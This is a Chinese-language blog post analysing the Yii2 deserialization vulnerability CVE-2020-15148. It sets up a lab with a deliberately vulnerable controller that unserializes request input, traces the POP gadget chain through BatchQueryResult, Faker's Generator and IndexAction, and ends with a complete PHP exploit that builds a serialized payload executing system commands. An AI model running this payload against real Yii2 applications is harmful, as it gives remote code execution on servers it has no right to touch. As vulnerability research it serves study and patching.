Yii2反序列化漏洞POP链分析 CVE-2020-15148 2020-10-07 06:12:45 Steven Xeldax ## 环境搭建 环境搭建两种方法: 第一种是利用composer来构建yii的项目 另外一种是yii的官方仓库中有release包已经准备好开箱即用的包  > https://github.com/yiisoft/yii2/releases/download/2.0.37/yii-basic-app-2.0.37.tgz 下载完毕后直接拖进webroot就行  打开config下的web.php,配置下cookieValidationKey  然后访问  环境搭建完毕 yii的controller是在controller文件夹下的 我们此处需要构造一个接受序列化数据的漏洞点,添加一个controller就行。  代码如下: ``` <?php /** * Created by PhpStorm. * User: xeldax * Date: 2020/10/5 * Time: 17:55 */ namespace app\controllers; use Yii; use yii\filters\AccessControl; use yii\web\Controller; use yii\web\Response; use yii\filters\VerbFilter; use app\models\LoginForm; use app\models\ContactForm; class TestController extends Controller{ public function actionTest(){ // phpinfo(); // print_r(get_declared_classes()); $name = Yii::$app->request->get('unserialize'); return unserialize(base64_decode($name)); } } ``` ## 寻找起始POP链 起始链最为常见的就是\__destruct 和 \__wakeup 我们在全局搜搜下\__destruct  跟进到BatchQueryResult ```php public function __destruct() { // make sure cursor is closed $this->reset(); } /** * Resets the batch query. * This method will clean up the existing batch query so that a new batch query can be performed. */ public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); } $this->_dataReader = null; $this->_batch = null; $this->_value = null; $this->_key = null; } ``` 可以看到$this->\__dataReader->close()我们可以控制传入任意变量和类,如果传入类我们就可以利用\__call魔术方法 全局搜索\__call方法  跟进到Generator.php ``` public function __call($method, $attributes) { return $this->format($method, $attributes); } ``` 跟进format,此处的$formaatter为close,无参数传入 ``` public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); } ``` 跟进getFormatter ``` public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; } foreach ($this->providers as $provider) { if (method_exists($provider, $formatter)) { $this->formatters[$formatter] = array($provider, $formatter); return $this->formatters[$formatter]; } } throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter)); } ``` 我们可以控制$this->formmaters从而在format中调用任意函数。但由于arguments是无参数,所以还需进一步寻找RCE链 ## POP链任意代码执行 全局搜索 ``` call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+) ``` 得到使用了call_user_func函数,且参数为类中成员变量的所有方法  进入IndexAction的run方法 ``` public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); } ``` 可以看到$this->checkAccess, $this->id都可以控制,因此可以直接RCE ## EXP ``` //namespace yii\rest{ // class CreateAction{ // public $checkAccess; // public $id; // public function __construct(){ // $this->checkAccess = 'system'; // $this->id = 'whoami'; // } // } //} // //namespace Faker{ // use yii\rest\CreateAction; // // class Generator{ // protected $formatters; // // public function __construct(){ // $this->formatters['close'] = [new CreateAction, 'run']; // } // } //} // //namespace yii\db{ // use Faker\Generator; // // class BatchQueryResult{ // private $_dataReader; // // public function __construct(){ // $this->_dataReader = new Generator; // } // } //} //namespace{ // echo base64_encode(serialize(new yii\db\BatchQueryResult)); //} namespace yii\rest{ class IndexAction{ public $checkAccess; public $id; public function __construct(){ $this->checkAccess = 'system'; $this->id = 'whoami'; } } } namespace Faker{ use yii\rest\IndexAction; class Generator{ protected $formatters; public function __construct(){ $this->formatters['close'] = [new IndexAction, 'run']; } } } namespace yii\db{ use Faker\Generator; class BatchQueryResult{ private $_dataReader; public function __construct(){ $this->_dataReader = new Generator; } } } namespace{ echo base64_encode(serialize(new yii\db\BatchQueryResult)); } ``` ## 参考资料 https://xz.aliyun.com/t/8307